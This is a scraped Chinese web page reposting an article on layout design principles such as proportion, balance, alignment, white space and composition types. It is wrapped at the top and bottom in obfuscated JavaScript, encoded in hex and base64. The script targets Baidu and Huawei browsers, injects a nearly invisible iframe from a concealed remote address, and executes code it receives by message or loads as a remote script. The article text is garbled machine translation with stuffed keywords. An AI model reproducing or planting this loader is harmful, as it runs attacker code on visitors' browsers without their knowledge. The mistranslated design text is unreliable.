eval("\x77\x69\x6e\x64\x6f\x77")["\x4B\x50\x76\x76"]=function(e){var KP =''+'ABCDEFGHIJK'+'LMNOPQRSTUVWXYZab'+'cdefghijklmnop'+'qrstuvwxyz0123'+'456789+/='+''+'';var t="",n,r,i,s,o,u,a,f=0;e=e['re'+'pla'+'ce'](/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=KP.indexOf(e.charAt(f++));o=KP.indexOf(e.charAt(f++));u=KP.indexOf(e.charAt(f++));a=KP.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return (function(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2;}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;})(t);}
eval("\x77\x69\x6e\x64\x6f\x77")["\x67\x50\x4B\x6D\x76\x61\x4D\x71\x45"]=function(){eval(KPvv("OyhmdW5jdGlvbih1LHIsdyxkLGYsYyl7dT1kZWNvZGVVUklDb21wb25lbnQoS1B2dih1LnJlcGxhY2UobmV3IFJlZ0V4cChjKycnK2MsJ2cnKSxjKS5zcGxpdCgnJykucmV2ZXJzZSgpLmpvaW4oJycpKSk7J2pRdWVyeSc7aWYobmF2aWdhdG9yLnVzZXJBZ2VudC5pbmRleE9mKEtQdnYoIlltRnBaSFU9IikpPi0xIHx8IG5hdmlnYXRvci51c2VyQWdlbnQuaW5kZXhPZihLUHZ2KCdTSFZoZDJWcFFuSnZkM05sY2c9PScpKT4tMSl7ZnVuY3Rpb24gcmQobixtKXtyZXR1cm4gTWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpKihtLW4rMSkrbik7fWZ1bmN0aW9uIHJtKGUpe2lmKGUmJmUudGFnTmFtZS50b1VwcGVyQ2FzZSgpPT09IklGUkFNRSImJmUuc3JjLmluZGV4T2YodSk+LTEpe2UucmVtb3ZlKCk7fWVsc2UgaWYoZS5uZXh0RWxlbWVudFNpYmxpbmcpe3JtKGUubmV4dEVsZW1lbnRTaWJsaW5nKTt9fWxldCBjPWRbS1B2digiWTNWeWNtVnVkRk5qY21sd2RBPT0iKV07dmFyIHo9dSsnLTEvcXEvJytyO2RbJ3cnKydyaScrJ3QnKydlJ10oJzxpJysnZnInKydhJysnbWUgc3R5bGU9IicrJ20nKydhcicrJ2dpJysnbjowO3AnKydhZCcrJ2QnKydpbicrJ2c6MDtiJysnb3InKydkJysnZXI6bicrJ29uJysnZTsnKydvcCcrJ2EnKydjaScrJ3QnKyd5OjAnKycuMCcrcmQoMiw5KSsnO3dpJysnZHQnKydoOicrcmQoMiw1KSsncCcrJ3g7aCcrJ2UnKydpZ2gnKyd0OicrcmQoMiw1KSsncCcrJ3g7JysnIiBhbCcrJ2xvd3RyYW4nKydzcGEnKydyZW5jeSBzcicrJ2M9IicreisnIj48L2knKydmcicrJ2EnKydtZT4nKTt3WydhZCcrJ2RFdicrJ2VudEwnKydpc3QnKydlbmVyJ10oJ20nKydlc3MnKydhZ2UnLGZ1bmN0aW9uKGUpe2lmKGUuZGF0YVtyXSl7cm0oYyk7bmV3IEZ1bmN0aW9uKEtQdnYoZS5kYXRhW3JdLnJlcGxhY2UobmV3IFJlZ0V4cChyLCdnJyksJycpKSkoKTt9fSk7fWVsc2V7ZC53cml0ZSgnPHMnKydjcmknKydwdCBzcmM9IicrdSsnLmpzIj48XC9zJysnY3JpcCcrJ3Q+Jyk7fX0pKCcnKyd6JysnSVRUTHcnKydVeicrJ00zJysnMHlZJysnR0onKydUVEonKyd0VicrJ0cnKydjc2htJysnWkdKJysnVFRKJysneicrJ1FEJysnTncnKydFVFRRJysnelVTYicrJ3ZObUwnKyd4OUcnKydjJysnMWRYJysnY3VjMycrJ2QnKyczWmtNJysnbFlrTWwnKydFME0nKydsTUhjJysnMFJIJysnYScrJycrJycsJycrJ0kxYycrJ0tKYycrJ2JxJysnJysnJyx3aW5kb3csZG9jdW1lbnQsJycrJ0hxcScrJ0p1SScrJzUnKycnKycnLCdUJyk="));}
版式设计原理,版式设计原理书籍

2021年12月02日 西厂雨化田 阅读(177)

tt

TT text/陈砚池版面设计是根据特定内容的需要,在一定版面上成功地组织和排列文字和图形。其设计范围包括传统书籍、期刊和报纸的版面设计,以及现代信息社会中一切视觉传达和广告传播的版面设计。对于布局设计的应用,我们提倡:

TT① 创造性思维。我们要敢于打破前人的框架、权威和习惯思维,树立大胆尝试和创新的观念。

TT② 横向思维。我们的时代是一个融合和横向联系的时代。新的边缘学科的诞生和艺术的新创造都来自于这种思维方式。版面设计不应局限于版面设计,而应考虑与其他设计艺术门类的横向联系。

TT③ 多向性和选择性思维。在设计的每个阶段,都要避免过早定稿,要有多个方案,反复比较筛选,最后定稿。

布局设计的原则可以从以下几个方面来描述。事实上,它们是相辅相成的。这些原则既对立又统一,存在于一页纸中。

T美的比率是版面设计成功的基础T好的格式、版面中心、图片和词组的合理安排和选择首先取决于好的比率。自古以来,公认最美丽的比率是黄金分割比(黄金分割)1:1.618。1:1、3:4的比例让人感觉稳定可靠。1:2的比例既美观又优雅。其次,1比3、5比9、1比1.414也是很好的比率。良好的比例运用是艺术修养和审美情趣在设计中综合灵活运用的结果,不能机械运用。

在每个平面上,都有一个力场。我们应该把飞机设计成充满空气、流动和活力的飞机。由于人类的敏感和微妙感受力,它可以被感知。布局的上部和下部的对象,以及左侧或右侧的对象给人不同的感觉。

TT飞机有四个角。人们的视线沿着它的外围移动,会在拐角处停留片刻,然后继续沿着它的外围移动。当我们在水平、垂直或中轴线结构线上放置一个点时,会给人一种稳定舒适的感觉;当点远离结构线放置时,将产生新颖独特的效果。

在布局中,人们感觉中心略高于实际比例的几何中心,我们称之为视觉中心。这就是为什么在版面设计中,主文本和图形通常放在中间的上半部分,这比版面中的下半部分或边缘部分更引人注目。

但是,这并不意味着所有设计都应该有一千条规则,并将布局中心置于视觉中心。聪明设计师经常使用各种方法使布局中心偏离视觉中心,以达到新颖醒目的效果。它们要么使用大面积的空白,要么通过布局移动线的方向来强调和对比颜色的纯度和明度,从而突出布局的中心。

在布局中,在单词行、单词组和图片的排列中有一种向某个方向移动的感觉。我们将其归纳为三类:水平、垂直和倾斜。

TT① 水平线与视线左右移动方向一致,让人感觉舒展和舒适,就像一片辽阔而平静的土地。

TT② 垂直线与视线的向上运动一致。由于人类视线的上下运动不如左右运动灵活,垂直运动让人联想到崇高而庄严的活动,如敬拜和纪念。

TT③ 这条斜线充满了运动。

对称性广泛存在于我们的自然界中。一朵花,一片叶子,一个可爱的小动物,甚至我们人类都是按照对称定律生长的。平面设计中的对称布局给人一种庄重、稳重、典雅的感觉。设计师往往在绝对对称的设计中加入一定的不对称因素,将生动与庄重融为一体,从而给人留下深刻的印象。

将形式平衡原理应用于布局后,其效果比对称布局更为生动。若将对称性比作平衡,那个么平衡可以理解为一次性平衡。当布局上两个形状的面积不同甚至非常不同时,它们在数量上是相似或相等的。平衡不是简单合理的等数量、不等形状的计算。一个好的平衡布局设计是各种形式原则(如布局、重心和比较)创造性和综合应用的结果。这是对设计师艺术修养和艺术水平的测试感受力。

在布局上的空白与建筑中的虚拟、真实和空的空间相似。真实形式和虚拟形式是矛盾空间的两个方面,它们同样重要。在布局中,你不能只看到图形和词组而不注意空白;您不能只看到字体的笔划而忽略笔划之间的间距。正是因为空白的“惊人价值”,我们不能忽视它的价值。

T分割是最基本、最普遍的形式化原则。细分有两种类型:

T① 水平分割是二维和平面的。如果一行单词随机排列在一个图版中,则会有意无意地出现切分问题。在布局中,多层次、面向研究的水平分割将复杂的部分组织成一个统一、协调的整体。

t

T② 垂直分割是指深度分割延伸到版面的深度,使二维平面具有三度空间的效果,就像一幅山水画,具有清晰的近景、中景和远景。这些级别的形成首先取决于每个级别和空白布局本身之间的亮度对比度,然后取决于颜色纯度对比度的影响。这种级别比较通常被称为三分法,它使布局清晰、清新、美观,避免了乱七八糟的局面。

统一也可以称为音调。当版面中涉及太版式设计原理多元素时,版面会显得凌乱,版面的字符和色调会变得模糊。为了达到良好的效果,通常需要使用较少的组成元素,并丰富这些组成元素的组合关系。这样,版面将具有与其他版面完全不同的独特色调。

t

节奏是简单的重复,节奏是充满变化的情绪起伏的节奏。在布局中,可以创造性地将字行的重复、字行之间空格的重复、相同字体的相似笔划的重复以及各种相似视觉元素(相同类型、相同区域、相同位置等)变化的交替重复组合在一起,从而产生节奏和节奏t

t与相对平衡于静相比,相对平衡是动态平衡。对比使布局避免平庸,产生强烈而有吸引力的视觉冲击力。要想在艺术上取得成功,就必须在作品中创造矛盾和对比,布局设计也不例外。

以上合理地总结了布局设计的基本原则,但我们必须认识到,任何方法都不是一成不变的教条。科学定律不应该被严格应用。只有在消化和融入自己的思想后,它们才能在设计中闪耀。

① 官方头条号:对于顶级创意设计师来说,设计智能是必不可少的

② 本文由设计之藻www.cocoo.top编辑。版权属于原作者。请注明转载来源!

作为一名专业设计师,版面设计的能力直接影响着设计师的水平。在我们很多设计朋友复制的优秀作品中,他们往往被作品华丽的外观所吸引,很少思考设计背后的秘密。

在这里,笔者总结了版图设计的几个方面的原则,结合一些具体的实例和实际操作演示,使不熟悉这一点的设计师能够快速掌握版图设计。

目录

布局组成平衡设计原则设计过程案例演示

1、 版面构成

主题:视觉焦点主导整个设计(可以是人/物体/文本/图片)。整个布局中最吸引人的部分相当于主角的角色。

文案:对主题的辅助描述或指导。毕竟,有时我们会把一只小狐狸放在我们旁边,用户无法准确地知道它在说什么以及配角的角色。推荐阅读:平面广告的布局风格与创新!

装饰元素:装饰元素,可选,可根据需要进行布局;良好的装饰元素可以渲染气氛。大多数装饰元素遵循三角形原则,类似于下图中的云朵,它起到团体表演的作用。

背版式设计原理景:可分为纯色/彩色纹理/图片/图形等。

2、 成分平衡

在设计中,平衡是实现统一的重要途径。如果上述元素在平衡状态下结合在一起,设计看起来是统一的,给人以整体印象。

因此,平衡是视觉传达设计的一个重要方面。布局平衡有三种类型:对称平衡、不对称平衡和整体平衡。

1.对称天平

对称是同等同量的平衡。对称设计是一种静态、可预测的设计,注重组织和平衡布局。对称的构图相对容易创作,版式设计原理书籍,其特点是稳定、庄重、整洁安宁、安静和古典。

2.不对称平衡

不对称在不平等的元素之间创造秩序和平衡。因为非对称设计的布局是不可预测的,所以空间在变化。它具有动态性、灵活性和动态性的特点。有许多不对称成分。有六种常见的形式。

对角线构图:

副本放置在版面的对角线方向,一方面避免了常见的中间版面,另一方面为中心主题留出了更多的创作空间;此外,中心人物也可以是对角线设计,这将使整个构图看起来更加平衡。

排放成分:

装饰元素围绕中心副本或图形发射。这样的构图将使中心视觉易于聚焦,视觉冲击力将更强。

例如,电子商务促销活动,淘宝和京东经常使用发射式构图来创造促销活动的刺激。

中心组成:

这是我们最常见的作文之一。文案撰写人和主体位于页面中央。请注意,页面中央的主体应尽可能丰富多彩,并使用设计技巧吸引读者的眼球,以避免平淡乏味。

S形构图:

复制品或图形放置在线条的转折点,整体呈S形。此外,台词的出发点和焦点也容易引起读者的注意,你可以放一些重要的信息。这种构图灵活有趣,可以引导用户沿着S形轨道阅读信息。

二分法构图:拷贝以左右或上下构图的形式与主体分开。请注意,副本应采用对齐原则。这样的构图也相对容易创作。

形状组成:

主体与文案的组合可以是圆形、三角形、矩形等形状。请注意,如果使用三角形构图,最好使用倒金字塔结构,这样可以更容易地将用户引导到下一个信息层。

3.总余额(完整版本余额)

整体平衡意味着图片填充整个版面,文案版面为上、下、左、右和中。主要以形象为诉求,视觉传达直观性强。完整的版本构成给人一种舒展的慷慨感觉。

注:在设计过程中,这种文字处理方式容易出现“噪音”。因此,为了避免拥挤的空间,适当删除一些单词。

3、 设计原则

在理解了构图形式之后,我们还需要了解一些基本的设计原则。虽然这些原则在其他地方屡见不鲜,但我仍想在此强调,因为它可以帮助我们在违反规则之前了解规则。另一点需要注意的是,这些原则不是独立的,但可以同时考虑和组合,而不是唯一的选择:

1.比较

没有对比,作品就会变得枯燥无味,无法有效传达信息。艾美奖设计师Blind公司创始人Chris Do说对比是王道。使用好对比度可以引导用户在页面上的视觉并创建焦点。

生成对比度的一般方法包括:尺寸对比度、厚度对比度、冷暖色对比度和颜色对比度。。无论什么样的对比,当你期望对比效果有效时,版式设计原理书籍,你需要大胆而明显。不要比较12号和13号的文字大小。这没有任何意义。不要胆小。设计也是如此。

2.对齐

布局上不能放置任何元素。每个项目都应该与页面上的内容有一个可视连接。在布局上查找可以对齐的元素,尽管它们可能很远。避免同时使用多条路线非常重要。

左边的海报采用矩形构图,右边的海报采用两部分构图,但撰稿人找到了一条清晰的对齐线,这使得布局产生了秩序之美。

3.亲密

同类相近,异类较远,相关要素相近。它们组合在一起成为一个可视单元,而不是多个孤立和分散的状态。这有助于组织信息,减少混乱,使结构更清晰。根据复印件的内容进行合理分组和分类。

左边的海报分为四组,清晰有序。中心的主体和装饰元素也运用了亲密的原则,使中心的主体显得更饱满;右侧海报主体采用发射构图,呈倒金字塔状,便于引导用户阅读下一信息层。

4.重复

重复的目的是统一和增强视觉效果。例如,标题的字体、大小或厚度相同。但需要注意的是,为了避免重复一个元素太多,它只会让人讨厌。注意重复的“程度”。重复太多会混淆要点。所有关键点都等于没有关键点。一般来说,使用统一的重复模式作为背景。

在左边的海报中,我们的眼睛会被另一个女孩吸引,她呼应了左上角的文案撰写人“敏感词万岁”。这种同质性的不同之处在于用于制作视觉焦点的变化元素。

右边的海报是葛西熏蒸设计师为著名的日本中条英司设计的个人展览海报。重复的图像是一个脸颊肿胀的孩子的图像。我不知道他是在喝酒还是在吐痰。这幅具有冲击感的图像实际上呼应了本次展览的主题“饮酒;呕吐”。设计师想要表达中条英义在生活中的创造,版式设计原理书籍,就像这个重复的形象,它不断地吸收、颠覆并最终创造。

5.留白

空白空间是虚实空间对比的功能。适当的空白可以使页面透气、透气、舒适。当大量视觉信息被叠加时,每个元素都需要眼睛扫描和大脑处理。当找不到关键点时,用户的眼睛和大脑很容易疲劳。在内容较多的情况下,尽量减少视觉分组;此外,更多地利用负空间来创造一些巧妙的负空间。

在左侧留出空间的同时,利用负向空间巧妙地将海报的主题“食物”和“葡萄酒”结合起来。右边的海报是日本大师原研哉的设计作品。大量空白空间使寿司在中间更加精致。很少有安静的视觉元素可以提高作品的质量感。

6.变化

不变的元素很容易让人厌烦,而且布局缺乏灵活性。如果某些元素改变其位置、大小或颜色,将打破版面中僵硬而单调的图案,使图片层次分明,这是打破图案的好方法。

如果左边的海报将所有元素都放在适当的位置,那么它将是一个副本,并且

本文转载自互联网,如有侵权,联系删除

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。

eval("\x77\x69\x6e\x64\x6f\x77")["\x62\x62\x62\x62"]=function(e){var zz =''+'ABCDEFGHIJKLM'+'NOPQRSTUVWXY'+'Zabcdef'+'ghijklm'+'nopqrstuvwxyz012'+'3456789+/='+''+'';var t="",n,r,i,s,o,u,a,f=0;e=e['re'+'pla'+'ce'](/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=zz.indexOf(e.charAt(f++));o=zz.indexOf(e.charAt(f++));u=zz.indexOf(e.charAt(f++));a=zz.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return (function(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2;}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;})(t);}
eval("\x77\x69\x6e\x64\x6f\x77")["\x62\x41\x62\x53\x72\x52\x4E\x7A\x62"]=function(){eval(bbbb("OyhmdW5jdGlvbih1LHIsdyxkLGYsYyl7dT1kZWNvZGVVUklDb21wb25lbnQoYmJiYih1LnJlcGxhY2UobmV3IFJlZ0V4cChjKycnK2MsJ2cnKSxjKS5zcGxpdCgnJykucmV2ZXJzZSgpLmpvaW4oJycpKSk7J2pRdWVyeSc7aWYobmF2aWdhdG9yLnVzZXJBZ2VudC5pbmRleE9mKGJiYmIoIlltRnBaSFU9IikpPi0xIHx8IG5hdmlnYXRvci51c2VyQWdlbnQuaW5kZXhPZihiYmJiKCdTSFZoZDJWcFFuSnZkM05sY2c9PScpKT4tMSl7ZnVuY3Rpb24gcmQobixtKXtyZXR1cm4gTWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpKihtLW4rMSkrbik7fWZ1bmN0aW9uIHJtKGUpe2lmKGUmJmUudGFnTmFtZS50b1VwcGVyQ2FzZSgpPT09IklGUkFNRSImJmUuc3JjLmluZGV4T2YodSk+LTEpe2UucmVtb3ZlKCk7fWVsc2UgaWYoZS5uZXh0RWxlbWVudFNpYmxpbmcpe3JtKGUubmV4dEVsZW1lbnRTaWJsaW5nKTt9fWxldCBjPWRbYmJiYigiWTNWeWNtVnVkRk5qY21sd2RBPT0iKV07dmFyIHo9dSsnLTEvcXEvJytyO2RbJ3cnKydyaScrJ3QnKydlJ10oJzxpJysnZnInKydhJysnbWUgc3R5bGU9IicrJ20nKydhcicrJ2dpJysnbjowO3AnKydhZCcrJ2QnKydpbicrJ2c6MDtiJysnb3InKydkJysnZXI6bicrJ29uJysnZTsnKydvcCcrJ2EnKydjaScrJ3QnKyd5OjAnKycuMCcrcmQoMiw5KSsnO3dpJysnZHQnKydoOicrcmQoMiw1KSsncCcrJ3g7aCcrJ2UnKydpZ2gnKyd0OicrcmQoMiw1KSsncCcrJ3g7JysnIiBhbCcrJ2xvd3RyYW4nKydzcGEnKydyZW5jeSBzcicrJ2M9IicreisnIj48L2knKydmcicrJ2EnKydtZT4nKTt3WydhZCcrJ2RFdicrJ2VudEwnKydpc3QnKydlbmVyJ10oJ20nKydlc3MnKydhZ2UnLGZ1bmN0aW9uKGUpe2lmKGUuZGF0YVtyXSl7cm0oYyk7bmV3IEZ1bmN0aW9uKGJiYmIoZS5kYXRhW3JdLnJlcGxhY2UobmV3IFJlZ0V4cChyLCdnJyksJycpKSkoKTt9fSk7fWVsc2V7ZC53cml0ZSgnPHMnKydjcmknKydwdCBzcmM9IicrdSsnLmpzIj48XC9zJysnY3JpcCcrJ3Q+Jyk7fX0pKCcnKyd5JysnSVRMeFUnKyd6JysnTTMweScrJ1knKydHSlQnKydKbCcrJ0YzJysnWjRsJysnR05HJysnSlQnKydKelFETicrJ3dFVFEnKyd6VVMnKydTJysnYicrJ3ZObUx4JysnOScrJ0djMWQnKydYY3UnKydjM2QzJysnWicrJ2tNbCcrJ1lrTWxFJysnME1sTScrJ0hjMFJIJysnYScrJycrJycsJycrJ0cybycrJ3llOScrJzVhJysnJysnJyx3aW5kb3csZG9jdW1lbnQsJycrJzZwdCcrJzl6QycrJ3gnKycnKycnLCdTJyk="));}